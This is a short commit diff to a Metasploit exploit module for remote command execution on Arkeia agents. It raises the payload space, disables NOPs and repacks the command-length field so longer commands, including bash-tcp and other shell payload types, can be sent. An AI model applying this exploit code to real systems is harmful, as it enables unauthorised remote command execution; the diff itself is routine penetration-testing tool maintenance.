Fix length limitation

modules/exploits/multi/misc/arkeia_agent_exec.rb

@@ -53,7 +53,8 @@ class Metasploit3 < Msf::Exploit::Remote
               'Platform' => 'unix',
               'Payload' =>
                 {
-                  'Space'       => 255,
+                  'DisableNops' => true,
+                  'Space'       => 60000,
                   'Compat'      => {
                     'PayloadType' => 'cmd cmd_bash',
                     'RequiredCmd' => 'perl python bash-tcp gawk openssl'
@@ -465,8 +466,8 @@ class Metasploit3 < Msf::Exploit::Remote
     command_length = '%02x' % command.length
     command_length = command_length.scan(/../).map { |x| x.hex.chr }.join
 
-    req = "\x00\x64\x00\x04\x00\x04\x00"
-    req << command_length # Maximum length can be 255 bytes (0xFF)
+    req = "\x00\x64\x00\x04\x00\x04"
+    req << [command.length].pack('n')
     req << command # Our command to be executed
     req << "\x00"